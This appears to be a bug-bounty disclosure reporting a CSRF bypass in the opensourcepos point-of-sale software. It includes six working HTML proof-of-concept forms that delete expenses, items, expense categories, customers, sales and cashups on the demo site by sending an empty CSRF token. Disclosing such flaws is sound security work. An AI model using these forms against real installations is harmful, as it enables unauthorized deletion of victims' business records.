Cross-Site Request Forgery (CSRF) in opensourcepos/opensourcepos

Valid

Reported on

Sep 28th 2021

Description

in some delete actions I change the HTTP request method to GET and Also remove the CSRF token from request and then I able to Bypass your CSRF protection.

Occurrences

Expenses.php L1-L183

//PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.opensourcepos.org/expenses/delete">
      <input type="hidden" name="ids&#91;&#93;" value="1" />
      <input type="hidden" name="csrf&#95;ospos&#95;v3" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

with this PoC.html attacker able to delete any Expenses with ids[] 1 and can be increased with any more id.

Items.php L1-L1227

//PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.opensourcepos.org/items/delete">
      <input type="hidden" name="ids&#91;&#93;" value="37" />
      <input type="hidden" name="csrf&#95;ospos&#95;v3" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

with this PoC.html attacker able to delete item with ids[] 37 and also more.

Expenses_categories.php L1-L97

//PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.opensourcepos.org/expenses_categories/delete">
      <input type="hidden" name="ids&#91;&#93;" value="2" />
      <input type="hidden" name="csrf&#95;ospos&#95;v3" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

with this PoC.html attacker able to delete any expenses categories with ids[] 2 and any more id.

Customers.php L1-L465

//PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.opensourcepos.org/customers/delete">
      <input type="hidden" name="ids&#91;&#93;" value="7" />
      <input type="hidden" name="csrf&#95;ospos&#95;v3" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

with this PoC.html attacker able to delete any Customers with ids[] 7 and can be increased with any more id.

Sales.php L1-L1569

For delete Sales You don't have any CSRF protection

//PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.opensourcepos.org/sales/delete_item/1">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

with this PoC.html attacker able to delete sale with id 1

Cashups.php L1-L246

//PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.opensourcepos.org/cashups/delete">
      <input type="hidden" name="ids&#91;&#93;" value="1" />
      <input type="hidden" name="csrf&#95;ospos&#95;v3" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>